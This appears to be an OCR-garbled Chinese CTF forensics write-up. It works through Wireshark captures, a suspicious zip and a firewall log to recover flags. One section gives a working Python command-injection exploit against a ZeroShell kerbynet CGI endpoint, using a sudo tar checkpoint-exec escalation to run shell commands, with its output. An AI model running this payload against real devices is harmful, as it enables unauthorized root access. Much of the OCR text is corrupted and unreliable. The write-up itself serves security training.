| 0150 69 63 61 74 69 6f 68 2f 78 68 74 6d 6c 2b 78 6d ication/ xhtml+xm
| | elae 6c 2c 61 70 70 6¢c 69 63 61 74 69 6f 6e 2f 78 6d 1,applic ation/xm
©1be 6¢c 3b 71 3d 30 2e 39 2¢ 69 6d 61 67 65 2f 77 65 1;9=0.9, image/we
©1ce 62 70 2c 2a 2f 2a 3b 71 3d 30 2e 38 0d @a 43 6f bp,*/*;q =0.8--Co
| | @1de 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 8d  nnection : close-
| | ©1e2 @a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 -Accept- Language
©1f2 3a 20 65 6e 2d 55 53 2c¢ 65 6e 3b 71 3d 30 2e 35
0200
ez1e
| | e22e
{ | @238
0240 0a
| | ©256 65 63 75 72 65 2d 52 65 71 75 65 73 74 73 3a 20 ecure-Re quests:
©260 31 ed @a ed ea 1----

HITP Referer (http.referer), 67 byte(s)

8 Show packet bytes Layout:

Vertical (Stacked)

ESCil feitaul

base64f#f315Zlflag:

= Ja] AV

flag{6C2E38DA-D8E4-8D84-4A4F-E2ABDO7ALF3A}

T



E&payload BEAH T ERRTBIED, RBEReec-EORANBABNBENH
T,

FERKflagBiTH, FANEIAZEpayloaddiT:

S ==
o0 =]

import requests

payload = 'find / -name flag'

url =f'http://61.139.2.100/cgi-bin/kerbynet?
Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-
cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-
action=exec=%27{payload}%27%0A%27"

a=requests.get(url).text

b=a.find("<html>")

a = a[0:b]

o N o o bh

print(a)

C:\Users\ME\PycharmProjects\gw8th\.venv\Scripts\python.exe C:\Users\ME\PycharmProjects\gw8th\zeroshell.py
/DB/_DB.001/flag

/Database/flag

/DB/_DB.0081/flag

/Database/flag

import requests

payload = 'cat /Database/flag'

url =f'http://61.139.2.100/cgi-bin/kerbynet?
Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-
cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-
action=exec=%27{payload}%27%0A%27"

a=requests.get(url).text

b=a.find("<html>")

a = a[0:b]

4
5
6
7
8

C:\Users\ME\PycharmProjects\qw8th\.venv\Scripts\python.exe C:\Users\ME\PycharmProjects\gw8th\zeroshell.py

print(a)

Cc6045425-6ebe-41d0-bed9-95682a4T65c4
Cc6045425-6e6e-41d0-be09-95682a4f65c4




flag{c6045425-6e6e-41d0-be09-95682a4f65c4}.
FE=/\E:
BIHRAD MR iptthtit, FERAEELRip.src==61.139.2.100, AILALM3INSIHHEIMip:

405 27.584761 61.139.2.100 182.143.237.15 TCP 70 80 > 53924 [ACK] Seq=1 Ack=2 Win=229 Len=0 SLE=1 SRE=2
3975 67.491419 61.139.2.100 182.143.237.15 TCP 64 80 - 53924 [FIN, ACK] Seq=1 Ack=3 Win=229 Len=@[Packet size limited during capture]
406 27.584833 61.139.2.100 182.143.237.15 TCP 70 80 > 53925 [ACK] Seq=1 Ack=2 Win=229 Len=@ SLE=1 SRE=2
3972 67.491198 61.139.2.100 182.143.237.15 TCP 64 80 > 53925 [FIN, ACK] Seg=1 Ack=3 Win=229 Len=@[Packet size limited during capture]
10293 283.914889 61.139.2.100 182.143.237.15 TCP 64 80 > 54088 [ACK] Seq=1 Ack=220 Win=3@336 Len=@[Packet size limited during capture]
10321 298.958395 61.139.2.100 182.143.237.15 TCP 64 80 » 54088 [FIN, ACK] Seq=1651 Ack=22@ Win=30336 Len=@[Packet size limited during capture]
10294 283.930356 61.139.2.100 182.143.237.15 TCP 380 80 > 54088 [PSH, ACK] Seq=1 Ack=220 Win=30336 Len=322 [TCP PDU reassembled in 10306]
10301 283.943324  61.139.2.100 182.143.237.15 TCP 310 86 > 54088 [PSH, ACK] Seq=1339 Ack=220 Win=30336 Len=252 [TCP PDU reassembled in 10306]
10303 283.943428 61.139.2.100 182.143.237.15 TCP 90 80 > 54088 [PSH, ACK] Seq=1591 Ack=220 Win=3@336 Len=32 [TCP PDU reassembled in 10306]
10304 283.943509 61.139.2.100 182.143.237.15 TCP 81 80 > 54088 [PSH, ACK] Seq=1623 Ack=220 Win=3@336 Len=23 [TCP PDU reassembled in 10306]
10295 283.941385 61.139.2.100 182.143.237.15 TCP 118 80 - 54088 [PSH, ACK] Seq=323 Ack=220 Win=30336 Len=6@ [TCP PDU reassembled in 10306]
10297 283.942683 61.139.2.100 182.143.237.15 TCP 195 80 -» 54088 [PSH, ACK] Seq=383 Ack=220 Win=30336 Len=137 [TCP PDU reassembled in 10306]
10298 283.942948 61.139.2.100 182.143.237.15 TCP 481 80 > 54088 [PSH, ACK] Seq=520 Ack=220 Win=3@336 Len=423 [TCP PDU reassembled in 10306]
.2.1e0 182.143.237.15 TCP 454 80 - 54088 [PSH, ACK] Seq=943 Ack=220 Win=30336 Len=396 [TCP PDU reassembled in 18306]

10299 283.943143 61.139

10135 259./60/85 61.139.2.100 61.139.2.128 193 325 B0 > 369/2 |PSH, ACK] Seq=byssy ACK=10b32 WIN=5>U304 Len=zs> ISVal=139991/114 |SECr=23¢5685044 |ILP PLU reassempled 1n 1016l
8808 100.874534 61.139.2.100 61.139.2.128 TCP 739 80 » 36972 [PSH, ACK] 968 Ack=599 Win=30208 Len=669 TSval=1399767224 TSecr=2305538148 [TCP PDU reassembled in 8821]
10136 250.760814 61.139.2.100 61.139.2.128 TCP 328 80 > 36972 [PSH, ACK] Seq=59843 Ack=18632 Win=50304 Len=258 TSval=1399917114 TSecr=23@5688044 [TCP PDU reassembled in 10161]
10138 250.760857 61.139.2.100 61.139.2.128 TCP 209 80 > 36972 [PSH, ACK] Seq=60101 Ack=18632 Win=50304 Len=139 TSval=1399917114 TSecr=23@5688044 [TCP PDU reassembled in 10161]
10139 250.760886 61.139.2.100 61.139.2.128 TCP 580 80 » 36972 [PSH, ACK] Win=50304 Le TSval=1399917114 TSec 305688044 [TCP PDU reassembled in 10161]
10140 250.760913 61.139.2.100 61.139.2.128 TCP 219 80 > 36972 [PSH, ACK] Seq=6075@ Ack=18632 Win=50304 Len=149 TSval=1399917114 TSecr=23@5688044 [TCP PDU reassembled in 10161]
10142 250.760949 61.139.2.100 61.139.2.128 TCP 608 80 > 36972 [PSH, ACK] Seq=60899 Ack=18632 Win=50304 Len=538 TSval=1399917114 TSecr=23@5688045 [TCP PDU reassembled in 10161]
10144 250.760982 61.139.2.100 61.139.2.128 TCP 225 80 » 36972 [PSH, ACK] Win=50304 TSval=1399917114 TSec 305688045 [TCP PDU reassembled in 10161]
10146 250.761016 61.139.2.100 61.139.2.128 TCP 211 80 > 36972 [PSH, ACK] Seq=61592 Ack=18632 Win=50304 Len=141 TSval=1399917114 TSecr=23@5688045 [TCP PDU reassembled in 10161]
10147 250.761049 61.139.2.100 61.139.2.128 TCP 312 80 > 36972 [PSH, ACK] Seq=61733 Ack=18632 Win=50304 Len=242 TSval=1399917114 TSecr=23@5688045 [TCP PDU reassembled in 10161]
10149 250.761081 61.139.2.100 61.139.2.128 TCP 227 80 » 36972 [PSH, ACK] Win=50304 Len=157 TSval=1399917114 TSec! 305688045 [TCP PDU reassembled in 10161]
10150 250.761115 61.139.2.100 61.139.2.128 TCP 323 80 > 36972 [PSH, ACK] Seq=62132 Ack=18632 Win=50304 Len=253 TSval=1399917114 TSecr=23@5688045 [TCP PDU reassembled in 10161]
10156 250.761143 61.139.2.100 61.139.2.128 TCP 670 80 > 36972 [PSH, ACK] Seq=62385 Ack=18632 Win=50304 Len=60@ TSval=1399917114 TSecr=23@5688045 [TCP PDU reassembled in 10161]
10157 250.761185 61.139.2.100 61.139.2.128 TCP 780 80 > 36972 [PSH, ACK] Win=50304 Len=71@ TSval=1399917114 TSec! 305688045 [TCP PDU reassembled in 10161]
10160 250.780755 61.139.2.100 61.139.2.128 TCP 305 80 » 36972 [PSH, ACK] =63695 Ack=18632 Win=50304 Len=235 TSval=1399917134 TSecr=23@5688045 [TCP PDU reassembled in 10161]
10180 253.028250 61.139.2.100 61.139.2.128 TCP 462 80 > 36972 [PSH, ACK] Seq=63935 Ack=11222 Win=51456 Len=392 TSval=1399919381 TSecr=2305690298 [TCP PDU reassembled in 10184]
10181 253.028325 61.139.2.100 61.139.2.128 TCP 916 80 > 36972 [PSH, ACK] Seq=64327 Ack=11222 Win=51456 Len=846 TSval=1399919381 TSecr=2305690298 [TCP PDU reassembled in 10184]
00352 191. 270340 ©1.133.2.100 4,117,103, 147 r 70 43500 = 0U [ 311N SEYSU WANSLILUY LENSY MOIS1400 SAUN_FERF 1DVALSLD/I000LUD |9ELI=0 WIS1L0

351 25.350955 61.139.2.100 202.115.89.103 TCP 78 58722 - 8080 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM TSval=3607443257 TSecr=@ WS=128

4568 76.377720 61.139.2.100 202.115.89.103 TCP 78 58726 > 8080 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM TSval=3607494284 TSecr=@ WS=128

8923 127.439395 61.139.2.100 202.115.89.103 TCP. 78 58732 > 8080 [SYN] Seq=0 Win=29200 MSS=1460 SACK_PERM TSecr=0 WS=128

9766 178.486533 61.139.2.100 202.115.89.103 TCcP 78 58736 > 8080 [SYN] Seq=@ Win=29200 MSS=1460 SACK_PERM TSecr=0 WS=128
10023 229.535512 61.139.2.100 202.115.89.103 TCP 78 58740 - 8080 [SYN] Seg=0 Win=29200 MSS=1460 SACK_PERM TSecr=0 WS=128
10276 280.586685 61.139.2.100 202.115.89.103 TCP 78 58748 > 8080 [SYN] Seq=@ Win=29200 MSS=146@ SACK_PERM TSecr=0 WS=128
10385 331.617515 61.139.2.100 202.115.89.103 TCP. 78 58752 > 8080 [SYN] Seq=0 Win=29200 MSS=1460 SACK_PERM 607749523 TSecr=0 WS=128
10799 382.646946 61.139.2.100 202.115.89.103 TCcP 78 58754 > 8080 [SYN] Seq=@ Win=29200 MSS=1460 SACK_PERM 607800553 TSecr=0 WS=128
10911 433.675969 61.139.2.100 202.115.89.103 TCP 78 58758 - 8080 [SYN] Seg=0 Win=29200 MSS=1460 SACK_PERM =3607851582 TSecr=0 WS=128
11057 484.738396 61.139.2.100 202.115.89.103 TCP 78 58762 > 8080 [SYN] Seq=@ Win=29200 MSS=146@ SACK_PERM 607902644 TSecr=0 WS=128
11151 535.793530 61.139.2.100 202.115.89.103 TCP. 78 58766 > 8088 [SYN] Seq=0 Win=29200 MSS=1460 SACK_PERM 607953699 TSecr=0 WS=128
11277 586.847414 61.139.2.100 202.115.89.103 TCcP 78 58770 > 8080 [SYN] Seq=@ Win=29200 MSS=1460 SACK_PERM 608004753 TSecr=0 WS=128
11358 637.892932 61.139.2.100 202.115.89.103 TCP 78 58774 > 8080 [SYN] Seg=0 Win=29200 MSS=1460 SACK_PERM TSval=3608055799 TSecr=@ WS=128
11410 688.931829 61.139.2.100 202.115.89.103 TCP 78 58778 > 8080 [SYN] Seq=@ Win=29200 MSS=1460 SACK_PERM TSval=3608106838 TSecr=@ WS=128
11595 739.977815 61.139.2.100 202.115.89.103 TCP. 78 58782 > 8088 [SYN] Seq=0 Win=29200 MSS=1460 SACK_PERM TSval=3608157884 TSecr=@ WS=128 |
15590 791.034251 61.139.2.100 202.115.89.103 TCcP 78 58786 > 8080 [SYN] Seq=@ Win=29200 MSS=1460 SACK_PERM TSecr=0 WS=128
15718 842.084698 61.139.2.100 202.115.89.103 TCP 78 58790 - 8080 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM TSval=3608259991 TSecr=@ WS=128

8528 100.462115 61.139.2.100 61.139.2.128 TCP 70 80 > 36952 [ACK1 Sea=1 Ack=63@ Win=30336 Len=0@ TSval=1399766815 TSecr=2305537746

Hr182.143.237.15@ W H{EARIIP, 61.139.2.128 9WM@E S, MR F T202.115.89.103X— A &E
NARGBEFEANIP, BERAEZpHIHEIEE, FILUAMENESRXIPAEERE, PILSHENX
FI .

607969184
60800!
SACK_f
SACK

Retransmission]

Retransmission]

flag{202.115.89.103}

winFT

F—hAl: ERZRENASHEZERO, FIADIERip.src==192.168.116.123,m Tk Al UK EI%KEH
192.168.116.130RY AT EEHTTPIAS



1779.. 388.431699505 192.168.116.123 119.188.180.230 TLSvi.2 234 Application Data

1779.. 388.467553694 192.168.116.123 119.188.180.230 TCP 54 42530 > 443 [ACK] Seq=48211 Ack=34640 Win=65535 Len=0
1779.. 390.006478488 192.168.116.123 192.168.116.130 TCP 60 49186 > 443 [ACK] Seq=1 Ack=1 Win=657@@ Len=@
1779.. 390.006663486 192.168.116.123 192.168.116.130 HTTP 303 GET /_FzPp3k6Jir5ovijnp85tg-QV6IapBC HTTP/1.1
1779.. 390.007832678 192.168.116.123 192.168.116.130 TCP 60 49186 > 443 [ACK] Seq=25@ Ack=2 Win=6576@ Len=@
.. 390.432594989 192.168.116.123 119.188.180.230 TLSv1.2 236 Application Data
.. 390.478827430 192.168.116.123 119.188.180.230 TCP 54 42530 > 443 [ACK] Seq=48393 Ack=35029 Win=65535 Len=0
.. 392.435178956 192.168.116.123 119.188.180.230 TLSv1i.2 236 Application Data
.. 392.471477680 192.168.116.123 119.188.180.230 TCP 54 42530 > 443 [ACK] Seq=48575 Ack=35202 Win=65535 Len=0
... 394.434926066 192.168.116.123 119.188.180.230 TLSv1.2 235 Application Data
.. 394.475673121 192.168.116.123 119.188.180.230 TCP 54 42530 > 443 [ACK] Seq=48756 Ack=35374 Win=65535 Len=0
1779.. 395.014312106 192.168.116.123 192.168.116.130 TCP 60 49187 - 443 [ACK] Seq=1 Ack=1 Win=65700 Len=0
1779.. 395.014315706 192.168.116.123 192.168.116.130 HTTP 303 GET /_FzPp3k6J1r5ovijnp85tg-QV6IapBC HTTP/1.1
4776 saE a1EcancaT 187 1ce 112 a5 167 1co 112 15a n £n A61OT . AAD TAAUT Can_nEA Anl_n

B HEE RO N443. BFFiFEESEHost:

M Wireshark - 548 177991 - BERES.cap =

Urgent Pointer: @
~v [Timestamps]
[Time since first frame in this TCP stream: ©.000621195 seconds]
[Time since previous frame in this TCP stream: ©.000003600 seconds]
Vv [SEQ/ACK analysis]
[iRTT: ©.000617595 seconds]
[Bytes in flight: 249]
[Bytes sent since last PSH flag: 249]
TCP payload (249 bytes)
v Hypertext Transfer Protocol
v [Expert Info (Warning/Security): Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.]
[Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.]
[Severity level: Warning]
[Group: Security]
GET /_FzPp3k6J1r5ovijnp85tg-QV6IapBC HTTP/1.1\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.9; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.8 Safari/537.36\r\n
Host: miscsecure.com:443\r\n
Connection: Keepn-Alive\r\n

0008 @@ @c 29 b6 dl @a @@ @c 29 9d c6 ea ©8 00 45 @0 - <o E-
0016 @1 21 02 @e 40 @0 80 06 8d 7a c@ a8 74 7b c@ a8 -1 ceoezeet{
0020 74 82 c@ 23 @1 bb 15 8f a8 da 4a 4c c2 6850 18 t--# - - --JL-hP-
0630 40 29 85 5e 00 00 47 45 54 20 2f 5f 46 7a 50 70 @)~ -GE T /_FzPp
0046 33 6b 36 4a 31 72 35 6f 76 69 6a 6e 70 38 35 74  3k6J1r50 vijnp85t
0050 67 2d 51 56 36 49 61 7@ 42 43 20 48 54 54 50 2f g-QuéeIap BC HTTP/
6066 31 2e 31 @d @a 55 73 65 72 2d 41 67 65 6e 74 3a 1.1--Use r-Agent:
0076 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 Mozilla /5.8 (Wi
0080 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 ndows NT 10.9; W
0690 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6¢c 65 in64; x6 4) Apple
0620 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b  WebKit/5 37.36 (K
©00be 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6 HTML, 1i ke Gecko
06co 29 20 43 68 72 6f 6d 65 2f 31 31 37 2e 30 2e 30 ) Chrome /117.8.0
66de  2e 30 28 53 61 66 61 72 69 2f 35 33 37 2e 33 36 .8 Safar i/537.36
CEECANCLICENA8 6F 73 74 3a 20 6d 69 73 63 73 65 63 75 fHo. miscsecul
CENCRN72 65 2e 63 6f 6d 3a 34 34 33 od OaEENGIT NN e . com: 4 43 - [T
0166 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6¢c 69 ection: Keep-Ali
@116 76 65 od @a 43 61 63 68 65 2d 43 6f 6e 74 72 6f ve--Cach e-Contro
0126 6c 3a 20 6e 6f 2d 63 61 63 68 65 @d ©a ed ea 1: no-ca che----

HTTP Host (http.host). 26 byte(s)

B Show packet bytes Layout: Vertical (Stacked) 9

tHEonkflag: flag{miscsecure:192.168.116.130:443}
BRI
AREHPR—IE#

wireshark AZ&E K zipfImagic bytes: 0x504b0304 ,AILIFEIHFZIZR:




Options: 7% x#7/85 () Backwards () Multiple occurrences

Destination Protoco Lengt Info
192.168.116 3 54 20979 > 57416 [RST, ACK] Se

406.194486000

16

1239.. 406.199582000 192.168.116.123 192.168.116.130 TCP 66 49687 > 80 [SYN] Seg=0 Wi MSS=1460 WS=8 SACK_PERM

1239.. 406.199982000 192.168.116.130 192.168.116.123 TCP 66 80 > 49687 [SYN, ACK] Seq=0 Ack=1 Win=3212@ Len=@ MSS=1460 SACK_PERM WS=128

1239.. 406.200038000 192.168.116.123 192.168.116.130 TCP 54 49687 > 80 [ACK] Seq=1 Ack=1 Win=262144 Len=0

1239.. 406.200337000 192.168.116.123 192.168.116.130 HTTP 322 GET /client HTTP/1.1

1239.. 406.200623000 192.168.116.130 192.168.116.123 TCP 60 80 > 49687 [ACK] Seg=1 Ack=269 Win=31872 Len=0

1239.. 406.201097000 192.168.116.130 192.168.116.123 TCP 71 80 > 49687 [PSH, ACK] Seq=1 Ack=269 Win=31872 Len=17 [TCP PDU reassembled in 123957]
1239.. 406.201114000 192.168.116.123 192.168.116.130 TCP 54 49687 > 80 [ACK] Seq=269 Ack=18 Win=262120 Len=@

1239.. 406.201469000 192.168.116.130 192.168.116.123 TCP 237 8@ > 49687 [PSH, ACK] Seq=18 Ack=269 Win=31872 Len=183 [TCP PDU reassembled in 123957]
1239.. 406.201483000 192.168.116.123 192.168.116.130 TCP 54 49687 > 80 [ACK] Seq=269 Ack=201 Win=261944 Len=0

1239.. 406.201574000 192.168.116.130 192.168.116.123 HTTP 118 HTTP/1.0 200 OK

1239.. 406.201595000 192.168.116.123 192.168.116.130 TCP 54 49687 > 8@ [ACK] Seq=269 Ack=266 Win=261880 Len=e

1239.. 406.202325000 192.168.116.123 192.168.116.130 TCP 54 49687 > 8@ [FIN, ACK] Seq=269 Ack=266 Win=261880 Len=@

1239.. 406.202561000 192.168.116.130 .116.123 80 > 49687 [ACK] Seq=266 Ack=27@ Win=31872 Len=0

1239.. 406.205285000 192.168.116. 92.168.116.128 3870 > 57416 [RST, ACK] Seq=1 Ack=1 Wi
1239.. 406.215789000 192.168. B .116.128 63172 » 57416 [RST, ACK] Seq=1 Ack=1 Win=0 Len=@
1239.. 406.226308000 192.168.116. 92.168.116.128 58442 > 57416 [RST, ACK] Se

[Severity level: Chat] 0000
[Group: Sequence] 010
v [TCP Flags: ------- AP--F] 3353
v [Expert Info (Note/Sequence): This frame initiates the connection closing] ots
[This frame initiates the connection closing] 0050
[Severity level: Note] 0060
[Group: Sequence] ee70

Window: 249

[Calculated window size: 31872]
[Window size scaling factor: 128]
Checksum: @x3834 [unverified]
[Checksum Status: Unverified]
Urgent Pointer: @
[Timestamps]
[Time since first frame in this TCP stream: ©.001992000 seconds]
[Time since previous frame in this TCP stream: ©.000091000 seconds]
[SEQ/ACK analysis]
[iRTT: ©.600456000 seconds]
[Bytes in flight: 64]
[Bytes sent since last PSH flag: 64]
TCP payload (64 bytes)
TCP segment data (64 bytes)

<

<

PK -
YYI-+ 2-ee3ee-
-Ever ything

BT e

Y

I+

©s T3 Danccamhiad TAD Cammantr (E4 hukacl. #1720E2/17) #1720EE/102)  #172087/24\1

Frame (118 bytes) ~ Reassembled TCP (264 bytes)

@ 7 Adata seament used in reassembly of an upper-laver protocol (ULP) (tcp.seament data). 64 bvte(s) | 4548 214577

+Ni#lfE v 504b 03 04

Options: =7 RHANS () Backwards () Multiple occurrences

Time Source Destination Protoco Lengt Info

... 483.235112000 192.168.116.130 192.168.116.123 TCP 1514 80 > 49690 [ACK] Seq=1680490 Ack=269 Win=31872 Len=146@ [TCP PDU reassembled in 149556]

.. 483.235112000 192.168.116.130 192.168.116.123 TcP 1514 80 > 49690 [PSH, ACK] Seq=1681950 Ack=269 Win=31872 Len=1460 [TCP PDU reassembled in 149556]
.. 483.235112000 192.168.116.130 192.168.116.123 TCP 1514 88 » 49690 [ACK] Seq=1683410 Ack=269 Win=31872 Len=1460 [TCP PDU reassembled in 149556]

.. 483.235112000 192.168.116.130 192.168.116.123 TCP 1514 80 > 49690 [ACK] Seq=168487@ Ack=269 Win=31872 Len=146@ [TCP PDU reassembled in 149556]
.. 483.235112000 192.168.116.130 192.168.116.123 TCP 1514 80 > 49690 [ACK] Seq=168633@ Acl 1872 Len=146@ [TCP PDU reassembled in 149556]
.. 483.235112000 192.168.116.130 192.168.116.123 TCP 1514 8@ > 49690 [ACK] Seq=168779@ Ac 1872 Len=146@ [TCP PDU reassembled in 149556]
. 483.235112000 192.168.116.130 192.168.116.123 TCP 1514 80 > 49690 [ACK] Seq=1689250 Ack=269 Win=31872 Len=1460 [TCP PDU reassembled in 149556]
.. 483.235112000 192.168.116.130 192.168.116.123 TCP 1514 80 > 49690 [ACK] Seq=1696710 Acl 1872 Len=146@ [TCP PDU reassembled in 149556]
.. 483.235112000 192.168.116.130 192.168.116.123 TCP 1514 80 > 49690 [ACK] Seq=169217@ Ack=269 Win=31872 Len=146@ [TCP PDU reassembled in 149556]
.. 483.235112000 192.168.116.130 192.168.116.123 TCP 1514 80 > 49690 [PSH, ACK] Seq=169363@ Ack=269 Win=31872 Len=1460 [TCP PDU reassembled in 149556]
. 483.235112000 192.168.116.130 192.168.116.123 HTTP 1093 HTTP/1.0 200 OK

. 483.235157000 192.168.116.123 192.168.116.130 TCP 54 49690 > 80 [ACK] Seq=269 Ack=1695090 Win=262144 Len=@

.. 483.235190000 192.168.116.123 192.168.116.130 TCP 54 49690 > 80 [ACK] Seq=269 Ack=169613@ Win=261104 Len=@

... 483.235304000 192.168.116.123 192.168.116.130 TCP 54 49690 > 80 [FIN, ACK] Seq=269 Ack=169613@ Win=261104 Len=

... 483.235465000 192.168.116.130 192.168.116.123 TCP 60 80 > 49690 [ACK] Seq=1696130 Ack=27@ Win=31872 Len=@

.242913000 192.168. 2123 192.168.116.128
.249209000 192.168. N 192.168.116.123

4 50592 » 57416 [RST, A Seq=1 Ack=1 Wil

253203000 192.168. E .116.128 4 13805 » 57416 [RST, A
.260973000 192.168. .128 192.168.116.123

|| &2 Defaul

[Severity level: Chat] 0220

[Group: Sequence] 02b0

v [TCP Flags: AP--F] 1 gg;g
v [Expert Info (Note/Sequence): This frame initiates the connection closing] 0220
[This frame initiates the connection closing] 02f0
[Severity level: Note] 0300

[Group: Sequence] 0310

Window: 249 o
[Calculated window size: 31872] 0340
[Window size scaling factor: 128] 0350
Checksum: @xfc3f [unverified] 0360
[Checksum Status: Unverified] g;;g
Urgent: Pointer: @ e
v [Timestamps] 0330
[Time since first frame in this TCP stream: ©.03622500@ seconds] 03b0
[Time since previous frame in this TCP stream: ©.000000000 seconds] 03c0

v [SEQ/ACK analysis] 03de
[iRTT: ©.000270000 seconds] g:ig
[Bytes in flight: 47759] 2400
[Bytes sent since last PSH flag: 1039] 0410
TCP payload (1039 bytes) 0420
TCP segment data (1039 bytes) e4a3e

\+ FA1C7 Dammmamhlad TFD Cammantr (1606190 hubnn): #14029C/17)  #140397/14C0\ #140370/1AC0\  #140376/1420\  #140220

Frame (1093 bytes) ~ Reassembled TCP (1696128 bytes)

¢ . .$
-Spe26Ze 057q/5YM|
2616U622 e5bid6Ye)

@ 7 Adatasegment used in reassembly of an upper-layer protocol (ULP) (tcp.segment_data), 1,039 byte(s) $34: 214577

REVFEBIHEXF TR, XIEHTTPELEHHER LS EIMENESES:

|| ®E: Default



{8 mal zip (only 15 days left to buy a license) = a X

© & =

VirusScan Comment  SFX

File Commands Tools Favorites Options Help

Add  ExtractTo  Test View Delete Find Wizard Info

Mt |!g mal.zip - ZIP archive, unpacked size 1,695,614 bytes v
Name Y Size Packed Type Modified CRC32 5pe267e057g/5YWz6IGU6Z2e5bid6YeN6KaB a
O XA
[l Everything.zip * 1,695,539 1,695,551 360E]E ZIP 34 2024/11/20 1.. 91E24959
|51 flag.bet * 75 78 AR 2024/11/20 1... B3EB6948

v
] »
— Tatal 2 filac 1 AOG A1A hartac

ARFIHAEverything.zip@MBAEIIMY, ATUTRIAXK T, FIEFEMARTFHECITAREA, BT
E|l— A/ NERCRC—ERIRRASEverything-1.4.1.1026.x86.zip:

.

Everything-14...  1,695539 360/4E ZIP 34 2024/12/15 1.

{EAARCHPREBA I H B RIRZ . af74fc89 4cObf55a 00e8e49a

BERZZRRZRESRE, 55flag: flaglalb2c3d4e5f67890abcdef1234567890-
2f4d90alb7c8e2349d3f56e0a9b01b8a-CBC},

Sc05
F—/E HIERZEI?

FTFfirewall.xlsx, Z=Z3 N LIER, FHEHEEEZXKipHRFTE:

" 2024/11/09 16:22:35 189" public | TCP | workl | M44ify "2 K HTTP / Vlanif255  untrust  192.168. ekl 61119 trust 120.232.217. 1506 2063 tep—fin
[ 230" public " TCP | workl Z " 4 IR HTTP Vlanif255 | untrust  192.168.  Jid 61119 trust  120.232. 217. 15¢1[H 2063 tep-psh
1« 4 public [ TcP [ workl | " R JER HTTP Vlanif255 | untrust  192.168. il 62207 trust 134.6.4.12 ESE| 80 tep-syn

2024/11/09 16:22:42 163" public | TCP | workl | [ T MZJERHTTP | WANO/0/ Vlanif255 | untrust  192.168. i 61115 trust 120.232. 217. 15¢'1[H 2063 tep-fin
" 2024/11/09 16:22:44 122" public " TCP " workl 4R ETTP T WANO/O/ Vianif255 | untrust  192.168.  Jalk 61115 trust 120.232.217. 1506 2063" tep-rst

REBER K15 flag:flag{D8B3BID7BI929DFES31BB8030E33C459}.


https://www.voidtools.com/Everything-1.4.1.1026.x86.zip

